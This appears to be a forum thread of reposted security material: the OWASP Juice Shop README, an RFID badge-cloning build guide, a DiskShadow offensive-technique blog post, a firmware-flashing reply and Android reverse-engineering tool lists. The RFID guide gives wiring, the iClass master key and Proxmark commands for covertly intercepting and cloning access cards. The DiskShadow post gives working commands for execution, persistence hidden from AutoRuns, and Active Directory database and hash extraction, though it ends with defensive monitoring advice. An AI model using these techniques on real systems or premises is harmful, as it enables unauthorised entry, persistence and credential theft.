http://localhost:3000 (on macOS and Windows browse to http://192.168.99.100:3000 if you are using docker-machine instead of the native docker installation) If you want to run Juice Shop on a Raspberry Pi 3, there is an unofficial Docker image available at https://hub.docker.com/r/arclight/juice-shop_arm which is based on resin/rpi-raspbian and maintained by @battletux. Even easier: Run Docker Container from Docker Toolbox (Kitematic) Install and launch Docker Toolbox Search for juice-shop and click Create to download image and run container Click on the Open icon next to Web Preview to browse to OWASP Juice Shop Deploy to Docker Cloud (🔬) Click the button below and follow the instructions This (🔬) is an experimental deployment option! Your feedback is appreciated at https://gitter.im/bkimminich/juice-shop. Vagrant Install Vagrant and Virtualbox Run git clone https://github.com/bkimminich/juice-shop.git (or clone your own fork of the repository) Run cd vagrant && vagrant up Browse to 192.168.33.10 Amazon EC2 Instance Setup an Amazon Linux AMI instance In Step 3: Configure Instance Details unfold Advanced Details and copy the script below into User Data In Step 6: Configure Security Group add a Rule that opens port 80 for HTTP Launch instance Browse to your instance's public DNS #!/bin/bash yum update -y yum install -y docker service docker start docker pull bkimminich/juice-shop docker run -d -p 80:3000 bkimminich/juice-shop Technically Amazon could view hacking activity on any EC2 instance as an attack on their AWS infrastructure! We highly discourage aggressive scanning or automated brute force attacks! You have been warned! Azure Web App for Containers Open your Azure CLI or login to the Azure Portal, open the CloudShell and then choose Bash (not PowerShell). Create a resource group by running az group create --name <group name> --location <location name, e.g. "East US"> Create an app service plan by running az appservice plan create --name <plan name> --resource-group <group name> --sku S1 --is-linux Create a web app with the Juice Shop Docker image by running the following (on one line in the bash shell) az webapp create --resource-group <group name> --plan <plan name> --name <app name> --deployment-container-image-name bkimminich/juice-shop For more information please refer to the detailed walkthrough with screenshots by @JasonHaley. You can alternatively follow his guide to set up OWASP Juice Shop as an Azure Container Instance. Node.js version compatibility OWASP Juice Shop officially supports the following versions of node.js in line as close as possible with the official node.js LTS schedule. Docker images and packaged distributions are offered accordingly: node.js Docker image Packaged distributions 9.x latest (current official release), snapshot (preview from develop branch) juice-shop-<version>_node9_windows_x64.zip, juice-shop-<version>_node9_linux_x64.tgz 8.x juice-shop-<version>_node8_windows_x64.zip, juice-shop-<version>_node8_linux_x64.tgz Demo Feel free to have a look at the latest version of OWASP Juice Shop: http://demo.owasp-juice.shop This is a deployment-test and sneak-peek instance only! You are not supposed to use this instance for your own hacking endeavours! No guaranteed uptime! Guaranteed stern looks if you break it! Customization Via a YAML configuration file in /config, the OWASP Juice Shop can be customized in its content and look & feel. For detailed instructions and examples please refer to our Customization documentation. CTF-Extension If you want to run OWASP Juice Shop as a Capture-The-Flag event, we recommend you set it up along with a CTFd server conveniently using the official juice-shop-ctf-cli tool. For step-by-step instructions and examples please refer to the Hosting a CTF event chapter of our companion guide ebook. XSS Demo To show the possible impact of XSS, you can download this docker-compose-file and run docker-compose up to start the juice-shop and the shake-logger. Assume you received and (of course) clicked this inconspicuous phishing link and login. Apart from the visual/audible effect, the attacker also installed an input logger to grab credentials! This could easily run on a 3rd party server in real life! You can also find a recording of this attack in action on YouTube: 📺 Additional Documentation Pwning OWASP Juice Shop This is the official companion guide to the OWASP Juice Shop. It will give you a complete overview of the vulnerabilities found in the application including hints how to spot and exploit them. In the appendix you will even find complete step-by-step solutions to every challenge. Pwning OWASP Juice Shop is published with GitBook under CC BY-NC-ND 4.0 and is available for free in PDF, Kindle and ePub format. You can also browse the full content online! Slide Decks Introduction Slide Deck in HTML5 PDF of the Intro Slide Deck on Slideshare Troubleshooting If you need help with the application setup please check the TROUBLESHOOTING.md or post your specific problem or question in the official Gitter Chat. Contributing We are always happy to get new contributors on board! Please check the following table for possible ways to do so: ❓ 💡 Found a bug? Crashed the app? Broken challenge? Found a vulnerability that is not on the Score Board? Create an issue or post your ideas in the chat Want to help with development? Pull requests are highly welcome! Please refer to the Contribute to development and Codebase 101 chapters of our companion guide ebook Want to help with internationalization? Find out how to join our Crowdin project in the Helping with translations documentation Anything else you would like to contribute? Write an email to owasp_juice_shop_project@lists.owasp.org or bjoern.kimminich@owasp.org References Did you write a blog post, magazine article or do a podcast about or mentioning OWASP Juice Shop? Or maybe you held or joined a conference talk or meetup session, a hacking workshop or public training where this project was mentioned? Add it to our ever-growing list of REFERENCES.md by forking and opening a Pull Request! Merchandise On Spreadshirt.com and Spreadshirt.de you can get some swag (Shirts, Hoodies, Mugs) with the official OWASP Juice Shop logo On StickerYou.com you can get variants of the OWASP Juice Shop logo as single stickers to decorate your laptop with. They can also print magnets, iron-ons, sticker sheets and temporary tattoos. The most honorable way to get some stickers is to contribute to the project by fixing an issue, finding a serious bug or submitting a good idea for a new challenge! We're also happy to supply you with stickers if you organize a meetup or conference talk where you use or talk about or hack the OWASP Juice Shop! Just contact the mailing list or the project leader to discuss your plans! ! Donations PayPal PayPal donations via above button go to the OWASP Foundations and are earmarked for "Juice Shop". This is the preferred and most convenient way to support the project. Credit Card (through RegOnline) OWASP hosts a donation form on RegOnline. Refer to the Credit card donation step-by-step guide for help with filling out the donation form correctly. Crypto Currency Contributors The OWASP Juice Shop core project team are: Björn Kimminich aka bkimminich (Project Leader) Jannik Hollenbach aka J12934 Timo Pagel aka wurstbrot For a list of all contributors to the OWASP Juice Shop please visit our HALL_OF_FAME.md. Licensing This program is free software: you can redistribute it and/or modify it under the terms of the MIT license. OWASP Juice Shop and any contributions are Copyright © by Bjoern Kimminich 2014-2018. Sursa: https://github.com/bkimminich/juice-shop

RFID Thief v2.0 12 Jul 2018 » all, rfid, tutorial Table of Contents Overview Proxmark 3 Long Range Readers Wiegotcha Raspberry Pi Setup Wiring Raspberry Pi HID iClass R90 HID Indala ASR620 HID MaxiProx 5375 Controller (Optional) Tutorial iClass R90 Indala ASR620 MaxiProx 5375 Components References Overview This post will outline how to build and use long range RFID readers to clone iClass, Indala & Prox cards used for Access Control. Proxmark 3 If you are unfamiliar with the Proxmark 3, it is a general purpose RFID Cloning tool, equipped with a high and low frequency antenna to snoop, listen, clone and emulate RFID cards. There are currently 4 versions of the Proxmark 3, all use the same firmware and software however some have more/less hardware features. Version Picture RDV1 RDV2 RDV3 RDV4 Long Range Readers There are 3 main types of long range readers HID sell, the R90, ASR-620 and MaxiProx 5375. Each reader supports a different type of card: Reader Card Type Picture HID iClass R90 iClass Legacy (13.56 MHz) HID Indala ASR-620 Indala 26bit (125 kHz) HID MaxiProx 5375 ProxCard II (125 kHz) Wiegotcha Wiegotcha is the awesome software for the Raspberry Pi developed by Mike Kelly that improves upon the Tastic RFID Thief in the following areas: Acts as a wireless AP with a simple web page to display captured credentials. Automatically calculates the iClass Block 7 data for cloning. Uses a hardware clock for accurate timestamps. AIO solution, eliminates the need for custom PCB’s and multiple breakout boards. Utilizes an external rechargeable battery. Raspberry Pi Setup This build will make use of the Raspberry Pi 3 to receive the raw Wiegand data from the long range readers and provide an access point to view/save the collected data. MicroSD Card Setup 1. Download and extract Raspbian Stretch. 2. Download ethcher or any disk writer you prefer. 3. Write the Raspbian Strech .img file to the MicroSD card using a USB adapter. 4. Unplug and replug the USB adapter to see ‘boot’ drive. 5. Edit cmdline.txt and add modules-load=dwc2,g_ether after the word rootwait so that so that it looks like this: dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=PARTUUID=9cba179a-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether quiet init=/usr/lib/raspi-config/init_resize.sh splash plymouth.ignore-serial-consoles 6. Edit config.txt and append dtoverlay=dwc2 to the end of the file. 7. Create a blank file within the ‘boot’ directory called ssh. Raspberry Pi Configuration 1. Connect the RPi to your local network and ssh to it using the default password raspberry. 2. Run sudo su to become the root user. 3. Clone the Wiegotcha repository to the /root directory. cd /root git clone https://github.com/lixmk/Wiegotcha 4. Run the install script in the Wiegotcha directory. cd Wiegotcha ./install.sh 5. Follow the prompts as requested, the RPi will reboot once completed. Be patient, this process can take some time. 6. After reboot, reconnect to the RPi using ssh and enter the following: sudo su screen -dr install 7. RPi will reboot and the installation is completed. The RPi will now broadcast with the ESSID: Wiegotcha, you can connect to it using the passphrase Wiegotcha. Wiegotcha assigns the static IP 192.168.150.1 to the RPi. Wiring Each reader will require a Bi-Directional Logic Level Converter, this is used to convert the 5v Wiegand output from the readers to the 3.3v RPi GPIOs. For quality of life, I have added JST SM connectors allowing quick interchangeability between the different long range readers. You may choose to add another external controller with switches to power the readers on/off, enable/disable sound or vibration, however this is optional. The following is a general overview of how the components are connected together: RPi GPIO Pins 1,3,5,7,9 -> Hardware RTC RPi to Logic Level Converter GPIO Pin 4 -> LLC HV GPIO Pin 6 -> LLC LV GND GPIO Pin 11 -> LLC LV 1 GPIO Pin 12 -> LLC LV 4 GPIO Pin 17 -> LLC LV Long Range Reader to Logic Level Converter LRR DATA 0 (Green) -> LLC HV 1 LRR DATA 1 (White) -> LLC HV 4 LRR SHIELD -> LLC HV GND Raspberry Pi 1. Connect the Hardware RTC to GPIO pins 1,3,5,7,9. 2. Solder female jumper wires to a male JST SM connector according to the table below and connect to the RPi. RPi JST SM Connector GPIO Pin 4 Blue GPIO Pin 6 Black GPIO Pin 11 Green GPIO Pin 12 White GPIO Pin 17 Red HID iClass R90 1. Join wires from the HID R90 to the logic level converter according to the table below. HID R90 Logic Level Converter P1-6 (DATA 0) HV 1 P1-7 (DATA 1) HV 4 P2-2 (GROUND/SHIELD) HV GND 2. Solder female jumper wires from the logic level converter to a female JST SM connector according to the table below. Logic Level Converter JST SM Connector LV Red LV GND Black LV 1 Green LV 4 White HV Blue 3. Join Positive and Negative cables from the HID R90 to a DC connector/adapter. HID R90 DC Connector/Adapter P2-1 Positive (+) P1-5 Negative (-) HID Indala ASR620 The Indala ASR620 will have a wiring harness from factory that you can utilize, the shield wire is within the harness itself so you need to slice a portion of the harness to expose. 1. Splice and solder wires from the Indala ASR620 to the logic level converter according to the table below. Indala ASR620 Logic Level Converter Green (DATA 0) HV 1 White (DATA 1) HV 4 Shield HV GND 2. Solder female jumper wires from the logic level converter to a female JST SM connector according to the table below. Logic Level Converter JST SM Connector LV Red LV GND Black LV 1 Green LV 4 White HV Blue 3. Join Positive and Negative cables from the Indala ASR620 to a DC connector/adapter. Indala ASR620 DC Connector/Adapter Red Positive (+) Black Negative (-) HID MaxiProx 5375 1. Join wires from MaxiProx 5375 to the logic level converter according to the table below. MaxiProx 5375 Logic Level Converter TB2-1(DATA 0) HV 1 TB2-2 (DATA 1) HV 4 TB1-2 (SHIELD) HV GND 2. Solder female jumper wires from the logic level converter to a female JST SM connector according to the table below. Logic Level Converter JST SM Connector LV Red LV GND Black LV 1 Green LV 4 White HV Blue 3. Join Positive and Negative cables from the MaxiProx 5375 to a DC connector/adapter. MaxiProx 5375 DC Connector/Adapter TB1-1 Positive (+) TB1-3 Negative (-) Controller Hearing a loud beep from your backpack when you intercept a card is probably not good, to avoid this, I made a makeshift controller, to easily power on/off and switch between sound or vibration or both. Each long range reader contains a sound buzzer either soldered or wired to the board, you can de-solder and replace this with extended wires to the controller. Within the makeshift controller you can splice/solder a sound buzzer (reuse the readers), vibrating mini motor disc, switches and a voltage display. Reader Sound buzzer Location HID iClass R90 HID MaxiProx 5375 HID Indala ASR-620 N/A - External Tutorial This section will show you how to clone the intercepted cards from the long range readers using the Proxmark 3. iClass R90 iClass legacy cards are encrypted using a master authentication key and TDES keys. The master authentication key allows you to read and write the encrypted blocks of the card however you will require the TDES keys to encrypt or decrypt each block. You can find the master authentication key in my Proxmark 3 Cheat Sheet post & step 6 of this tutorial. The TDES keys are not publicly available, you will have to source them yourself using the Heart of Darkness paper. The R90 will read the card, decrypt it and send the Wiegand data to Wiegotcha. 1. Assemble/Power on the components and connect to the RPi Access Point Wiegotcha. 2. Navigate to http://192.168.150.1 via browser. 3. Place/Intercept a iClass Legacy card on the long range reader. 4. Copy the data from the Block 7 column into clipboard. 5. Encrypt the Block 7 data using the Proxmark 3. # Connect to the Proxmark 3 ./proxmark3 /dev/ttyACM0 # Encrypt Block 7 data hf iclass encryptblk 0000000b2aa3dd88 6. Write the encrypted Block 7 data to a writable iClass card. hf iclass writeblk b 07 d 26971075da43c659 k AFA785A7DAB33378 7. Done! if it all worked correctly, your cloned card will have the same Block 7 data as the original. You can confirm with the following: hf iclass dump k AFA785A7DAB33378 Indala ASR620 1. Assemble/Power on the components and connect to the RPi Access Point Wiegotcha. 2. Navigate to http://192.168.150.1 via browser. 3. Place/Intercept a Indala card on the long range reader. MaxiProx 5375 1. Assemble/Power on the components and connect to the RPi Access Point Wiegotcha. 2. Navigate to http://192.168.150.1 via browser. 3. Place/Intercept a ProxCard II card on the long range reader. 4. Copy the data from the Proxmark Hex column into clipboard. 5. Clone the Proxmark Hex data to a T5577 card using the Proxmark 3. # Connect to the Proxmark 3 ./proxmark3 /dev/ttyACM0 # Clone Proxmark Hex data lf hid clone 2004060a73 7. Done! if it all worked correctly, your cloned card will have the same Proxmark Hex, FC & SC data as the original. You can confirm with the following: lf search Components Most of the components can be found cheaply on eBay or your local electronics store, the most expensive components are the long range readers and the Proxmark 3. Raspberry Pi 3 Proxmark 3 RDV2 12v USB Power Bank HID iClass R90 HID Indala ASR-620 HID MaxiProx 5375 Bi-Directional Logic Level Converter DS3231 RTC Real Time Clock Vibrating Mini Motor Disc 32GB MicroSD Card JST SM 5 Pin Connectors JST SM 4 Pin Connectors References Official Proxmark 3 Repository Official Proxmark 3 Forums Mike Kelly’s Blog Wiegotcha Github Tastic RFID Thief Share this on → Sursa: https://scund00r.com/all/rfid/tutorial/2018/07/12/rfid-theif-v2.html

DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction March 26, 2018 ~ bohops [Source: blog.microsoft.com] Introduction Not long ago, I blogged about Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction. This tool was quite interesting because it was yet another utility to perform volume shadow copy operations, and it had a few other features that could potentially support other offensive use cases. In fairness, evasion and persistence are probably not the strong suits of Vshadow.exe, but some of those use cases may have more relevance in its replacement – DiskShadow.exe. In this post, we will discuss DiskShadow, present relevant features and capabilities for offensive opportunities, and highlight IOCs for defensive considerations. *Don’t mind the ridiculous title – it just seemed thematic 🙂 What is DiskShadow? “DiskShadow.exe is a tool that exposes the functionality offered by the Volume Shadow Copy Service (VSS). By default, DiskShadow uses an interactive command interpreter similar to that of DiskRaid or DiskPart. DiskShadow also includes a scriptable mode.“ – Microsoft Docs DiskShadow is included in Windows Server 2008, Windows Server 2012, and Windows Server 2016 and is a Windows signed binary. The VSS features of DiskShadow require privileged-level access (with UAC elevation), however, several command utilities can be invoked by a non-privileged user. This makes DiskShadow a very interesting candidate for command execution and evasive persistence. DiskShadow Command Execution As a feature, the interactive command interpreter and script mode support the EXEC command. As a privileged or an unprivileged user, commands and batch scripts can be invoked within Interactive Mode or via a script file. Let’s demonstrate each of these capabilities: Note: The proceeding example is carried out under the context of a non-privileged/non-admin user account on a recently installed/updated Windows Server 2016 instance. Depending on the OS version and/or configuration, running this utility at a medium process integrity may fail. Interactive Mode In the following example, a normal user invokes calc.exe: Script Mode In the following example, a normal user invokes calc.exe and notepad.exe by calling the script option with diskshadow.txt: diskshadow.exe /s c:\test\diskshadow.txt Like Vshadow, take note that the DiskShadow.exe is the parent process of the spawned executable. Additionally, DiskShadow will continue to run until its child processes are finished executing. Auto-Start Persistence & Evasion Since DiskShadow is a Windows signed binary, let’s take a look at a few AutoRuns implications for persistence and evasion. In the proceeding examples, we will update our script then create a RunKey and Scheduled Task. Preparation Since DiskShadow is “window forward” (e.g. pops a command window), we will need to modify our script in a way to invoke proof-of-concept pass-thru execution and close the parent DiskShadow and subsequent payloads as quickly as possible. In some cases, this technique may not be considered very stealthy if the window is opened for a lengthy period of time (which is good for defenders if this activity is noted and reported by users). However, this may be overlooked if users are conditioned to see such prompts at logon time. Note: The proceeding example is carried out under the context of a non-privileged/non-admin user account on a recently installed/updated Windows Server 2016 instance. Depending on the OS version and/or configuration, running this utility at a medium process integrity may fail. First, let’s modify our script (diskshadow.txt) to demonstrate this basic technique: EXEC "cmd.exe" /c c:\test\evil.exe *In order to support command switches, we must quote the initial binary with EXEC. This also works under Interactive Mode. Second, let’s add persistence with the following commands: - Run Key Value - reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt" - User Level Scheduled Task - schtasks /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt" Let’s take a further look at these… AutoRuns – Run Key Value After creating the key value, we can see that our key is hidden when we open up AutoRuns and select the Logon tab. By default, Windows signed executables are hidden from view (with a few notable exceptions) as demonstrated in this screenshot: After de-selecting “Hide Windows Entries”, we can see the AutoRuns entry: AutoRuns – Scheduled Tasks Like the Run Key method, we can see that our entry is hidden in the default AutoRuns view: After de-selecting “Hide Windows Entries”, we can see AutoRuns entry: Extracting the Active Directory Database Since we are discussing the usage of a shadow copy tool, let’s move forward to showcase (yet another) VSS method for extracting the Active Directory (AD) database – ntds.dit. In the following walk-through, we will assume successful compromise of an Active Directory Domain Controller (Win2k12) and are running DiskShadow under a privileged context in Script Mode. First, let’s prepare our script. We have performed some initial recon to determine our target drive letter (for the logical drive that ‘contains’ the AD database) to shadow as well as discovered a logical drive letter that is not in use on the system. Here is the DiskShadow script (diskshadow.txt): set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset [Helpful Source: DataCore] In this script, we create a persistent shadow copy so that we can perform copy operations to capture the sensitive target file. By mounting a (unique) logical drive, we can guarantee a copy path for our target file, which we will extract to the ‘exfil’ directory before deleting our shadow copy identified by someAlias. *Note: We can attempt to copy out the target file by specifying a shadow device name /unique identifier. This is slightly stealthier, but it is important to ensure that labels/UUIDs are correct (via initial recon) or else the script will fail to run. This use case may be more suitable for Interactive Mode. The commands and results of the DiskShadow operation are presented in this screenshot: type c:\diskshadow.txt diskshadow.exe /s c:\diskshadow.txt dir c:\exfil In addition to the AD database, we will also need to extract the SYSTEM registry hive: reg.exe save hklm\system c:\exfil\system.bak After transferring these files from the target machine, we use SecretsDump.py to extract the NTLM Hashes: secretsdump.py -ntds ntds.dit -system system.bak LOCAL Success! We have used another method to extract the AD database and hashes. Now, let’s compare and contrast DiskShadow and Vshadow… DiskShadow vs. Vshadow DiskShadow.exe and VShadow.exe have very similar capabilities. However, there are a few differences between these applications that may justify which one is the better choice for the intended operational use case. Let’s explore some of these in greater detail: Operating System Inclusion DiskShadow.exe is included with the Windows Server operating system since 2008. Vshadow.exe is included with the Windows SDK. Unless the target machine has the Windows SDK installed, Vshadow.exe must be uploaded to the target machine. In a “living off the land” scenario, DiskShadow.exe has the clear advantage. Utility & Usage Under the context of a normal user in our test case, we can use several DiskShadow features without privilege (UAC) implications. In my previous testing, Vshadow had privilege constraints (e.g. external command execution could only be invoked after running a VSS operation). Additionally, DiskShadow is flexible with command switch support as previously described. DiskShadow.exe has the advantage here. Command Line Orientation Vshadow is “command line friendly” while DiskShadow requires use by interactive prompt or script file. Unless you have (remote) “TTY” access to a target machine, DiskShadow’s interactive prompt may not be suitable (e.g. for some backdoor shells). Additionally, there is an increased risk for detection when creating files or uploading files to a target machine. In the strict confines of this scenario, Vshadow has the advantage (although, creating a text file will likely have less impact than uploading a binary – refer to the previous section). AutoRuns Persistence & Evasion In the previous Vshadow blog post, you may recall that Vshadow is signed with the Microsoft signing certificate. This has AutoRuns implications such that it will appear within the Default View since Microsoft signed binaries are not hidden. Since DiskShadow is signed with the Windows certificate, it is hidden from the default view. In this scenario, DiskShadow has the advantage. Active Directory Database Extraction If script mode is the only option for DiskShadow usage, extracting the AD database may require additional operations if assumed defaults are not valid (e.g. Shadow Volume disk name is not what we expected). Aside from crafting and running the script, a logical drive may have to be mapped on the target machine to copy out ntds.dit. This does add an additional level of noise to the shadow copy operation. Vshadow has the advantage here. Conclusion All things considered, DiskShadow seems to be more compelling for operational use. However, that does not discount Vshadow (and other VSS methods for that matter) as a prospective tool used by threat agents. Vshadow has been used maliciously in the past for other reasons. For DiskShadow, Blue Teams and Network Defenders should consider the following: Monitor the Volume Shadow Service (VSS) for random shadow creations/deletions and any activity that involves the AD database file (ntds.dit). Monitor for suspicious instances of System Event ID 7036 (“The Volume Shadow Copy service entered the running state”) and invocation of the VSSVC.exe process. Monitor process creation events for diskshadow.exe and spawned child processes. Monitor for process integrity. If diskshadow.exe runs at a medium integrity, that is likely a red flag. Monitor for instances of diskshadow.exe on client endpoints. Unless there is a business need, diskshadow.exe *should* not be present on client Windows operating systems. Monitor for new and interesting logical drive mappings. Inspect suspicious “AutoRuns” entries. Scrutinize signed binaries and inspect script files. Enforce Application Whitelisting. Strict policies may prevent DiskShadow pass-thru applications from executing. Fight the good fight, and train your users. If they see something (e.g. a weird pop up window), they should say something! As always, if you have questions or comments, feel free to reach out to me here or on Twitter. Thank you for taking the time to read about DiskShadow! Sursa: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/

I-am lasat Firmware-ul 5.0.2 care il pune cu Odin, e mai simplu si eficient.

Descarca softul de aici: https://emmc-files.com/index.php?a=downloads&amp;b=file&amp;c=download&amp;id=959 este versiunea android 4.4.4 , dar faci update dupa ce il "repari". Pui fiecare fisier la "locul lui" , AP -> AP , BL -> BL ... etc. Nu mai incerca sa repartitionezi nimic, lasa-l asa cum este , bifeaza doar Auto reboot si F. reset time , restul nu bifa nimic. Bafta!

25 Awesome Android Reverse Engineering Tools A curated list of awesome Android reverse engineering tools. Be sure to check out our list of IDA Pro alternatives and best deobfuscation tools, too. 1. SMALI/BAKSMALI smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android’s Java VM implementation. The syntax is loosely based on Jasmin’s/dedexer’s syntax, and supports the full functionality of the dex format (annotations, debug info, line info, etc.) 2. ANDBUG AndBug is a debugger targeting the Android platform’s Dalvik virtual machine intended for reverse engineers and developers. It uses the same interfaces as Android’s Eclipse debugging plugin, the Java Debug Wire Protocol (JDWP) and Dalvik Debug Monitor (DDM) to permit users to hook Dalvik methods, examine process state, and even perform changes. Unlike Google’s own Android Software Development Kit debugging tools, AndBug does not require or expect source code. It does, however, require that you have some level of comfort with Python, as it uses a concept of scripted breakpoints, called “hooks”, for most nontrivial tasks. 3. ANDROGUARD Androguard is a full python tool to play with Android files. DEX, ODEX APK Android’s binary xml Android resources Disassemble DEX/ODEX bytecodes Decompiler for DEX/ODEX files 4. APKTOOL A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications; it makes possible to debug smali code step by step. Also it makes working with an app easier because of project-like file structure and automation of some repetitive tasks like building apk, etc. Features: Disassembling resources to nearly original form (including resources.arsc, classes.dex, 9.png. and XMLs) Rebuilding decoded resources back to binary APK/JAR Organizing and handling APKs that depend on framework resources Smali Debugging (Removed in 2.1.0 in favor of IdeaSmali) Helping with repetitive tasks 5. ANDROID FRAMEWORK FOR EXPLOITATION Android Framework for Exploitation is a framework for exploiting android based devices and applications. 6. BYPASS SIGNATURE AND PERMISSION CHECKS FOR IPCS This tool leverages Cydia Substrate to bypass signature and permission checks for IPCs. 7. ANDROID OPENDEBUG This tool leverages Cydia Substrate to make all applications running on the device debuggable; once installed any application will let a debugger attach to them. 8. DARE Dare is a project which aims at enabling Android application analysis. The Dare tool retargets Android applications in .dex or .apk format to traditional .class files. These .class files can then be processed by existing Java tools, including decompilers. Thus, Android applications can be analyzed using a vast range of techniques developed for traditional Java applications. 9. DEX2JAR Tools to work with android .dex and java .class files. 10. ENJARIFY Enjarify is a tool for translating Dalvik bytecode to equivalent Java bytecode. This allows Java analysis tools to analyze Android applications. 11. DEDEXER Dedexer is a disassembler tool for DEX files. DEX is a format introduced by the creators of the Android platform. The format and the associated opcode set is in distant relationship with the Java class file format and Java bytecodes. Dedexer is able to read the DEX format and turn into an “assembly-like format”. This format was largely influenced by the Jasmin syntax but contains Dalvik opcodes. For this reason, Jasmin is not able to compile the generated files. 12. FINO An Android Dynamic Analysis Tool. 13. INDROID The aim of the project is to demonstrate that a simple debugging functionality on *nix systems a.k.a ptrace() can be abused by malware to inject malicious code in remote processes. Indroid provides CreateRemoteThread() equivalent for ARM based *nix devices. If you want to get a more deeper insight into the working of the framework you may: Watch the Defcon 19 video on Jugaad – http://www.youtube.com/watch?v=vju6tq1lp0k Read the paper – http://www.slideshare.net/null0x00/project-jugaad 14. INTENTSNIFFER Intent Sniffer is a tool that can be used on any device using the Google Android operating system (OS). On the Android OS, an Intent is description of an action to be performed, such as startService to start a service. The Intent Sniffer tool performs monitoring of runtime routed broadcasts Intents. It does not see explicit broadcast Intents, but defaults to (mostly) unprivileged broadcasts. There is an option to see recent tasks Intents (GET_TASKS), as Activity’s intents are visible when started. The tool can also dynamically update Actions & Categories. 15. INTROSPY Blackbox tool to help understand what an Android application is doing at runtime and assist in the identification of potential security issues. 16. JAD Jad is a Java decompiler. 17. JD-GUI JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields. 18. CFR CFR will decompile modern Java features – Java 8 lambdas (pre and post Java beta 103 changes), Java 7 String switches etc, but is written entirely in Java 6. 19. KRAKATAU Krakatau currently contains three tools – a decompiler and disassembler for Java classfiles and an assembler to create classfiles. 20. PROCYON While still incomplete, tests seem to indicate that the Procyon decompiler can generally hold its own against the other leading Java decompilers out there. 21. FERNFLOWER Fernflower is the first actually working analytical decompiler for Java. 22. REDEXER Redexer is a reengineering tool that manipulates Android app binaries. This tool is able to parse a DEX file into an in-memory data structure; to infer with which parameters the app uses certain permissions (we name this feature RefineDroid); to modify and unparse that data structure to produce an output DEX file (we name these features Dr. Android, which stands for Dalvik Rewriting for Android). 23. SIMPLIFY ANDROID DEOBFUSCATOR Simplify virtually executes an app to understand its behavior and then tries to optimize the code so that it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn’t matter what the specific type of obfuscation is used. 24. BYTECODE VIEWER Bytecode Viewer is an Advanced Lightweight Java Bytecode Viewer, GUI Java Decompiler, GUI Bytecode Editor, GUI Smali, GUI Baksmali, GUI APK Editor, GUI Dex Editor, GUI APK Decompiler, GUI DEX Decompiler, GUI Procyon Java Decompiler, GUI Krakatau, GUI CFR Java Decompiler, GUI FernFlower Java Decompiler, GUI DEX2Jar, GUI Jar2DEX, GUI Jar-Jar, Hex Viewer, Code Searcher, Debugger and more. It’s written completely in Java, and it’s open sourced. It’s currently being maintained and developed by Konloch. There is also a plugin system that will allow you to interact with the loaded classfiles, for example you can write a String deobfuscator, a malicious code searcher, or something else you can think of. You can either use one of the pre-written plugins, or write your own. It supports groovy scripting. Once a plugin is activated, it will execute the plugin with a ClassNode ArrayList of every single class loaded in BCV, this allows the user to handle it completely using ASM. 25. RADARE2 r2 is a rewrite from scratch of radare in order to provide a set of libraries and tools to work with binary files. Radare project started as a forensics tool, a scriptable command-line hexadecimal editor able to open disk files, but later added support for reversing apks, analyzing binaries, disassembling code, debugging programs, attaching to remote gdb servers, etc… Sursa: https://hackerlists.com/android-reverse-engineering-tools/

GDA(GJoy Dex Analysizer) GDA is a succinct, portable, fast interactive Android decompiling tool, It provides powerful static analysis function, and currently supports APK, DEX, ODEX, oat type of Android file. GDA get rid of the use of the slow speed of Java, using the C++ to complete analysis of the core function . And as the use of the bytecode directly to Java pseudo code, no need to convert the Smali assembly after decompiling, so it greatly improve the parsing speed. This tool provides many useful sub-tools, such as check shell(protection software), ODEX to DEX, Oat to DEX, XML binary parser, algorithm tool, Android device memory dump and so on. In the interactive analysis, provides a string, method, and domain cross references query, function query, the caller query, comments, and analysis results saving, and so on. I rewritten all Decompiler code basing on Decompiling theory for GDA3, And the disassembly engine, data flow analysis, interlingua optimization, structured analysis and so on,they have all made significant changes.And I also optimized the DEX parsing engine, malicious behavior detection engine, checking shell engine, compared with GDA1 and GDA2, The speed, stability and experience of the analysis are all great improvement and upgrading. guild: https://github.com/charles2gan/GDA-android-reversing-Tool/wiki